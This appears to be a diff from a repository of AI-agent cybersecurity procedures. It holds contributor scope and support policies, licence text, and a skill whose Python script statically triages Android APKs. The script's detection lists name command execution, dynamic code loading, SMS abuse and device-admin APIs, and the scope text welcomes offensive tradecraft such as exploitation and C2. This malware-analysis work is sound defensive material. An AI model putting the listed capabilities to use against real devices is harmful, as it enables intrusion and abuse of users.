This repository is a catalogue. It holds cybersecurity procedures — 817 of them today — written so that an AI agent can read one and carry out a security task competently. Everything that ships here serves that one purpose. Work that does not serve it is out of scope regardless of how good it is, and is usually better off in its own repository, where it can be versioned, released and credited on its own terms.
## These rules apply going forward
This document is new. Until now the repository had no written scope, which is exactly why some contributors built things I then could not merge.
So: nothing here is applied retroactively as a reason to close a pull request that was already open when it landed. Every open PR will be worked through as it was filed, on its own merits, and where I decline one I will give the reason in the thread rather than pointing at a rule that did not exist when the work was done.
I should also say plainly that the review queue is longer than it should be — some pull requests have been waiting months. That is on me, not on the people who sent them, and raising the bar on new contributions does not excuse it. I am working through the backlog.
## What a skill is
A skill is one named security procedure that an agent can execute end to end.
On disk it is a single flat directory:
```
skills/your-skill-name/
├── SKILL.md # YAML frontmatter + the procedure
├── LICENSE
├── references/ # api-reference.md, standards.md, workflows.md
├── scripts/ # agent.py, process.py, or another real helper
└── assets/ # optional: template.md, filled-in checklists
```
The namespace is flat and global. `skills/` is not nested by category; the category lives in the `subdomain` frontmatter field, which must be one of the values accepted by `tools/validate-skill.py`. All 817 skills today carry `SKILL.md`, `references/` and `scripts/`; 816 carry a `LICENSE` and 421 also carry `assets/`. The most common supporting files are `references/api-reference.md` (810 skills) and `scripts/agent.py` (809).
A submission is a skill when all of the following hold.
**It is a procedure, not a subject.** By convention the directory name is a gerund phrase naming the task — `analyzing-…`, `detecting-…`, `implementing-…`, `hunting-…`, `performing-…` — and 807 of the 817 current names follow it. CI enforces kebab-case, not the gerund, so treat this as the house style rather than a gate. Background material about a topic belongs in a skill's `references/`, not in a directory of its own.
**It is atomic.** One procedure per skill. A body carrying three unrelated workflows is either three skills, or one skill and two reference files.
**It is executable.** Real commands, real flags, real tool names, real paths. No placeholders, no `TODO`, no prose standing in for a command nobody ran.
**Its description routes.** The description is the only text an agent sees when deciding whether to load the skill. It has to say what the skill does, when to fire, which keywords match, and what it is *not* for — naming the nearest neighbouring skill. The 33 container-security skills are the current reference for that standard.
**It is distinct.** It does not restate a skill that already exists. See *Overlap* in [CONTRIBUTING.md](CONTRIBUTING.md).
**It passes CI.** Five gates run on every push and pull request that touches `skills/` or `tools/`: frontmatter validation, agentskills.io conformance, `index.json` freshness, description linting, and a near-duplicate ratchet. A documentation-only PR does not trigger them, so do not read an empty checks list as a pass. CONTRIBUTING.md lists the commands to run them locally.
## Offensive and dual-use content is in scope
This library deliberately covers red-team tradecraft, exploitation, C2, phishing simulation and adversary emulation alongside defence. A defender's agent that has never seen the offensive procedure detects it badly.
Offensive skills are in scope on exactly the same terms as everything else, subject to the authorised-use notice in [README.md](README.md). Nothing in this document is a reason to decline a skill for being offensive. If I decline one, the reason will be scope, overlap or accuracy, and I will say which.
## Out of scope
**Runtimes, engines, orchestrators and agent frameworks.** Code that loads, serves, routes or executes skills — MCP servers, agent harnesses, skill-browser web UIs, "foundation" or "platform" layers that turn the catalogue into a product.
**Applications built on the catalogue.** A tool that consumes these skills is a good thing to build and I will happily link it from the README. It is not a directory in this repository.
**A second toolchain.** `tools/` already holds a frontmatter validator, an agentskills.io conformance checker, an index generator, a description linter and a collision detector — all sharing one PyYAML-backed loader, all wired into CI. A new independent validator competes with those rather than improving them. Extend the existing tool and the existing gate; a PR that makes `tools/lint-descriptions.py` stricter is far more welcome than a new linter beside it.
**Documents about how the project is run.** Roadmaps, work cadences, routines, release plans, launch material, status trackers. How I schedule my own maintenance is not something the catalogue needs to carry, and a document describing a cadence I have not agreed to would be wrong the day it merged. Propose process changes in an issue or a discussion instead.
**Editor, IDE and per-contributor configuration.** `.vscode/` settings, local linter configs and vendor extension settings encode one contributor's environment on everyone else. Agent instruction files are the single exception and they are maintainer-owned — `.github/copilot-instructions.md` exists and is maintained in place. Changes to that class of file should start as an issue, not as a new parallel file.
**Product-shaped skills.** A skill may absolutely be tool-specific: 247 of the 817 names carry a `-with-<tool>` qualifier, and `scanning-docker-images-with-trivy` is exactly right, because the flags, the output formats and the failure modes genuinely differ by tool. What does not belong is a directory whose *subject* is a product rather than a task — a feature tour, an onboarding walkthrough, or an integration write-up for one vendor's service. The test: if the vendor vanished tomorrow and nothing of the procedure survived, it was a product page. When a skill does name a commercial tool, the vendor-link rules in CONTRIBUTING.md apply.
**Bulk imports.** A pull request adding many skills at once cannot be reviewed for technical accuracy at the depth this catalogue needs, and one wrong procedure blocks all the others. One skill per pull request; see CONTRIBUTING.md.
## Why there is no engine in this repository
The catalogue is engine-neutral by construction. `skills/` contains content only; `tools/` contains validators and the index generator and nothing that executes a skill; `.claude-plugin/` contains manifests that let an existing engine mount the catalogue rather than an engine of its own. The bug-report template asks which agent you were running, offering Claude Code, GitHub Copilot and Codex CLI as examples, and the README targets 26+ platforms.
That neutrality is the asset. The moment a runtime lives in this repository, the content starts being shaped by what that runtime supports, the release cadence of the content gets tied to the release cadence of the code, and every consumer on a different platform inherits a dependency they did not ask for. I want the content here to stay separate from the engine that reads it, and I intend to keep this repository on that side of the line.
## Grey areas
Some things sit on the boundary — a large rewrite of an existing skill, a new subdomain, a reference file that is really a small tool, a documentation page that is not README and not CONTRIBUTING. Open an issue and ask before you build it. I would much rather answer a two-line issue than decline a finished pull request, and if the answer is yes, the issue becomes the record of why.
## Changing this document
This is a working document, not a settlement. If a rule here is wrong, or is blocking something the catalogue would clearly be better for having, open an issue arguing the case. Scope decisions are mine to make, but they should be arguable in the open.

View File

@@ -0,0 +1,47 @@
# Security Policy
## Supported Versions
All skill content in this repository is covered by this security policy.
| Component | Supported |
|-----------|-----------|
| Skill definitions (SKILL.md files) | Yes |
| Scripts and automation | Yes |
| Documentation | Yes |
## Reporting a Vulnerability
If you discover a security issue with any skill's scripts, instructions, or content, please report it responsibly:
1. **Do not** open a public issue
2. Use GitHub's private security advisory: [Report a vulnerability](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/security/advisories/new)
3. Include in your report:
- Affected skill name and file path
- Nature of the vulnerability
- Potential impact
- Steps to reproduce (if applicable)
- Suggested fix (if you have one)
## Response Timeline
- **Initial acknowledgment:** Within 48 hours
- **Assessment and triage:** Within 1 week
- **Fix or mitigation:** Based on severity, typically within 2 weeks
## Scope
The following are in scope for security reports:
- Skills that contain commands or scripts that could cause unintended harm
- Instructions that could lead to unauthorized access if followed incorrectly
- Sensitive data accidentally included in skill content
- Dependencies or external references that have become compromised
## Recognition
We credit responsible disclosures in our changelog. If you report a valid security issue, we will acknowledge your contribution unless you prefer to remain anonymous.
## Contact
For security matters that cannot be reported through GitHub's advisory system, reach out via the repository's discussion forum.

View File

@@ -0,0 +1,46 @@
# Support
This project is maintained by one person alongside other work. That shapes what support looks like here, so it is worth being direct about it rather than leaving you to guess.
## Where to go
| I want to… | Use |
|---|---|
| Ask how something works | [Discussions](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) |
| Report a skill that is wrong, broken, or out of date | [Issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues) |
| Propose a new skill | Issue first, then a PR — see [CONTRIBUTING.md](CONTRIBUTING.md) |
| Fix something yourself | Open a PR. This is the fastest path to change. |
| Report a security problem | See [SECURITY.md](SECURITY.md) |
Issues are for concrete defects: a command that does not work, a flag that does not exist, a framework ID that is wrong, a script that fails. Questions belong in Discussions, where other people can answer too and the answer stays findable.
## What to expect
There is no SLA. Response time varies with what else is happening; some pull requests have waited months, and that is a real cost I am working to reduce rather than a policy.
What moves fastest, in order:
1. A PR that fixes one thing and passes the validators.
2. An issue that names the skill, quotes the failing command, and shows the actual output.
3. Everything else.
What tends to stall: large multi-skill PRs, feature requests outside the skill-library format, and requests for bespoke integration help.
## Before you open an issue
```bash
pip install pyyaml
python tools/validate-skill.py skills/<skill-name>
```
If a skill fails validation, that output is the most useful thing you can paste. If you are reporting a procedure that does not work, say which version of the tool you ran and what it printed — "this does not work" is not actionable, and a wrong procedure in a security library is worth fixing properly.
## What this project is not
It is a reference library, not a product. It ships no service, holds no data, and makes no availability guarantee. Skills describe procedures for systems you own or are authorised to assess — see [SCOPE.md](SCOPE.md).
If you need something with a support contract behind it, this is not that, and I would rather say so plainly than have you discover it during an incident.
## Helping
The most useful contributions are unglamorous: correcting a procedure you actually ran, adding a framework mapping you verified, or telling me two skills are competing for the same request. All three make the library measurably better for everyone using it.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,66 @@
---
name: analyzing-android-malware-with-apktool
description: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
domain: cybersecurity
subdomain: malware-analysis
tags:
- Android
- APK
- apktool
- jadx
- androguard
- mobile-malware
- static-analysis
- reverse-engineering
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1406
- T1407
- T1626.001
- T1655.001
- T1521.001
---
# Analyzing Android Malware with Apktool
## Overview
Android malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.
## When to Use
- When investigating security incidents that require analyzing android malware with apktool
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with `androguard`
- apktool (for resource decompilation)
- jadx (for Java source recovery, optional)
- Isolated analysis environment (VM or sandbox)
- Sample APK files for analysis
## Steps
1. Parse APK with androguard to extract manifest metadata
2. Enumerate requested permissions and flag dangerous combinations
3. List activities, services, receivers, and providers from manifest
4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)
5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)
6. Extract hardcoded URLs, IPs, and C2 indicators from strings
7. Generate risk assessment report with MITRE ATT&CK mobile mappings
## Expected Output
- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score
- Extracted strings and potential IOCs from the APK

View File

@@ -0,0 +1,69 @@
# API Reference — Analyzing Android Malware with Apktool
## Libraries Used
- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning
- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings
- **json**: JSON serialization for analysis reports
## CLI Interface
```
python agent.py sample.apk permissions
python agent.py sample.apk manifest
python agent.py sample.apk apis
python agent.py sample.apk strings
python agent.py sample.apk full
python agent.py sample.apk # defaults to full analysis
```
## Core Functions
### `analyze_permissions(apk)` — Permission risk assessment
Calls `apk.get_permissions()`. Flags 20 dangerous permissions including
SEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.
Risk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.
### `analyze_manifest(apk)` — Manifest component extraction
Calls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.
Returns package name, version, SDK levels, and all component lists.
### `scan_suspicious_apis(dx)` — Suspicious API call detection
Searches DEX analysis for 14 patterns including:
- `Runtime.exec`, `ProcessBuilder.start` — command execution
- `DexClassLoader.loadClass` — dynamic code loading
- `Method.invoke`, `Class.forName` — reflection
- `Cipher.getInstance` — cryptographic operations
- `SmsManager.sendTextMessage` — SMS abuse
### `extract_strings(dx, apk)` — IOC extraction from DEX strings
Regex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.
Filters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).
### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection
Checks for single-letter class names (ProGuard), multi-DEX, native libraries.
### `full_analysis(apk_path)` — Comprehensive malware assessment
## Androguard API
| Method | Returns |
|--------|---------|
| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |
| `apk.get_permissions()` | List of Android permissions |
| `apk.get_activities()` | Activity component names |
| `apk.get_services()` | Service component names |
| `apk.get_receivers()` | BroadcastReceiver names |
| `apk.get_package()` | Package name string |
| `dx.find_methods(classname, methodname)` | Matching method analysis objects |
| `dx.get_strings()` | All strings from DEX files |
| `dx.get_classes()` | All class analysis objects |
## Risk Scoring
| Factor | Max Points |
|--------|-----------|
| Dangerous permissions (8 pts each) | 40 |
| Suspicious API calls (10 pts each) | 30 |
| External IPs (5 pts each) | 15 |
| Obfuscation detected | 15 |
## Dependencies
- `androguard` >= 3.4.0
- Isolated analysis environment recommended

View File

@@ -0,0 +1,228 @@
#!/usr/bin/env python3
"""Agent for static analysis of Android APK malware using androguard."""
import json
import re
import argparse
from datetime import datetime
try:
from androguard.core.apk import APK
from androguard.core.dex import DEX
from androguard.misc import AnalyzeAPK
except ImportError:
APK = None
AnalyzeAPK = None
DANGEROUS_PERMISSIONS = [
"android.permission.SEND_SMS", "android.permission.READ_SMS",
"android.permission.RECEIVE_SMS", "android.permission.READ_CONTACTS",
"android.permission.READ_CALL_LOG", "android.permission.RECORD_AUDIO",
"android.permission.CAMERA", "android.permission.ACCESS_FINE_LOCATION",
"android.permission.READ_PHONE_STATE", "android.permission.CALL_PHONE",
"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE",
"android.permission.INSTALL_PACKAGES", "android.permission.REQUEST_INSTALL_PACKAGES",
"android.permission.SYSTEM_ALERT_WINDOW", "android.permission.BIND_ACCESSIBILITY_SERVICE",
"android.permission.BIND_DEVICE_ADMIN", "android.permission.RECEIVE_BOOT_COMPLETED",
"android.permission.WRITE_SETTINGS", "android.permission.CHANGE_WIFI_STATE",
]
SUSPICIOUS_API_PATTERNS = [
r"Ljava/lang/Runtime;->exec",
r"Ljava/lang/ProcessBuilder;->start",
r"Ldalvik/system/DexClassLoader;->loadClass",
r"Ljava/lang/reflect/Method;->invoke",
r"Ljava/lang/Class;->forName",
r"Ljavax/crypto/Cipher;->getInstance",
r"Landroid/telephony/SmsManager;->sendTextMessage",
r"Landroid/app/admin/DevicePolicyManager;->lockNow",
r"Landroid/content/pm/PackageManager;->setComponentEnabledSetting",
r"Ljava/net/HttpURLConnection;->connect",
r"Lokhttp3/OkHttpClient;->newCall",
r"Landroid/webkit/WebView;->loadUrl",
r"Landroid/os/Build;->SERIAL",
r"Landroid/provider/Settings\$Secure;->getString",
]
def analyze_permissions(apk):
"""Analyze requested permissions and flag dangerous ones."""
permissions = apk.get_permissions()
dangerous = [p for p in permissions if p in DANGEROUS_PERMISSIONS]
return {
"total_permissions": len(permissions),
"permissions": permissions,
"dangerous_permissions": dangerous,
"dangerous_count": len(dangerous),
"permission_risk": "CRITICAL" if len(dangerous) >= 8 else "HIGH" if len(dangerous) >= 5 else "MEDIUM" if len(dangerous) >= 2 else "LOW",
}
def analyze_manifest(apk):
"""Extract manifest components: activities, services, receivers, providers."""
activities = apk.get_activities()
services = apk.get_services()
receivers = apk.get_receivers()
providers = apk.get_providers()
return {
"package_name": apk.get_package(),
"app_name": apk.get_app_name(),
"version_name": apk.get_androidversion_name(),
"version_code": apk.get_androidversion_code(),
"min_sdk": apk.get_min_sdk_version(),
"target_sdk": apk.get_target_sdk_version(),
"activities": list(activities),
"services": list(services),
"receivers": list(receivers),
"providers": list(providers),
"activity_count": len(activities),
"service_count": len(services),
"receiver_count": len(receivers),
"provider_count": len(providers),
}
def scan_suspicious_apis(dx):
"""Scan DEX analysis for suspicious API calls."""
findings = []
if not dx:
return findings
for pattern in SUSPICIOUS_API_PATTERNS:
class_name = pattern.split(";->")[0] + ";"
method_name = pattern.split(";->")[1] if ";->" in pattern else None
for method in dx.find_methods(classname=class_name, methodname=method_name):
xrefs = list(method.get_xref_from())
if xrefs:
findings.append({
"api": pattern,
"callers": len(xrefs),
"first_caller_class": str(xrefs[0][0].name) if xrefs else None,
})
return findings
def extract_strings(dx, apk):
"""Extract suspicious strings: URLs, IPs, base64 patterns."""
url_pattern = re.compile(r'https?://[\w\-._~:/?#\[\]@!$&\'()*+,;=]+', re.IGNORECASE)
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
b64_pattern = re.compile(r'[A-Za-z0-9+/]{30,}={0,2}')
urls = set()
ips = set()
b64_strings = []
if dx:
for s in dx.get_strings():
val = str(s)
urls.update(url_pattern.findall(val))
ips.update(ip_pattern.findall(val))
b64_matches = b64_pattern.findall(val)
b64_strings.extend(b64_matches[:5])
private_ips = {"10.", "192.168.", "172.16.", "127.0."}
external_ips = [ip for ip in ips if not any(ip.startswith(p) for p in private_ips)]
return {
"urls": sorted(urls)[:30],
"external_ips": sorted(external_ips)[:20],
"suspicious_base64": b64_strings[:10],
"url_count": len(urls),
"external_ip_count": len(external_ips),
}
def detect_obfuscation(apk, dx):
"""Detect code obfuscation indicators."""
indicators = []
if dx:
short_class_names = 0
for cls in dx.get_classes():
name = str(cls.name)
parts = name.replace("/", ".").split(".")
if any(len(p) == 1 and p.isalpha() for p in parts):
short_class_names += 1
if short_class_names > 10:
indicators.append({"type": "single_letter_classes", "count": short_class_names})
dex_files = [f for f in apk.get_files() if f.endswith(".dex")]
if len(dex_files) > 1:
indicators.append({"type": "multi_dex", "dex_count": len(dex_files)})
native_libs = [f for f in apk.get_files() if f.endswith(".so")]
if native_libs:
indicators.append({"type": "native_libraries", "libs": native_libs[:10]})
return {
"obfuscation_indicators": indicators,
"likely_obfuscated": len(indicators) > 0,
}
def full_analysis(apk_path):
"""Run comprehensive APK malware analysis."""
if not APK or not AnalyzeAPK:
return {"error": "androguard not installed: pip install androguard"}
a, d, dx = AnalyzeAPK(apk_path)
perm_analysis = analyze_permissions(a)
manifest = analyze_manifest(a)
suspicious_apis = scan_suspicious_apis(dx)
strings = extract_strings(dx, a)
obfuscation = detect_obfuscation(a, dx)
risk_score = 0
risk_score += min(perm_analysis["dangerous_count"] * 8, 40)
risk_score += min(len(suspicious_apis) * 10, 30)
risk_score += min(strings["external_ip_count"] * 5, 15)
risk_score += 15 if obfuscation["likely_obfuscated"] else 0
risk_score = min(risk_score, 100)
return {
"analysis_type": "Android APK Static Analysis",
"timestamp": datetime.utcnow().isoformat(),
"file": apk_path,
"manifest": manifest,
"permissions": perm_analysis,
"suspicious_apis": suspicious_apis[:20],
"strings": strings,
"obfuscation": obfuscation,
"risk_score": risk_score,
"risk_level": "CRITICAL" if risk_score >= 70 else "HIGH" if risk_score >= 50 else "MEDIUM" if risk_score >= 25 else "LOW",
"mitre_techniques": [
{"id": "T1418", "name": "Software Discovery"} if manifest["service_count"] > 5 else None,
{"id": "T1417", "name": "Input Capture"} if "android.permission.BIND_ACCESSIBILITY_SERVICE" in perm_analysis["permissions"] else None,
{"id": "T1582", "name": "SMS Control"} if "android.permission.SEND_SMS" in perm_analysis["permissions"] else None,
{"id": "T1404", "name": "Exploitation for Privilege Escalation"} if any("DevicePolicyManager" in a.get("api", "") for a in suspicious_apis) else None,
],
}
def main():
parser = argparse.ArgumentParser(description="Android APK Malware Analysis Agent")
parser.add_argument("apk", help="Path to APK file")
sub = parser.add_subparsers(dest="command")
sub.add_parser("permissions", help="Analyze permissions")
sub.add_parser("manifest", help="Extract manifest components")
sub.add_parser("apis", help="Scan for suspicious API calls")
sub.add_parser("strings", help="Extract URLs, IPs, and encoded strings")
sub.add_parser("full", help="Full malware analysis")
args = parser.parse_args()
if args.command == "full" or args.command is None:
result = full_analysis(args.apk)
else:
a, d, dx = AnalyzeAPK(args.apk)
if args.command == "permissions":
result = analyze_permissions(a)
elif args.command == "manifest":
result = analyze_manifest(a)
elif args.command == "apis":
result = scan_suspicious_apis(dx)
elif args.command == "strings":
result = extract_strings(dx, a)
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
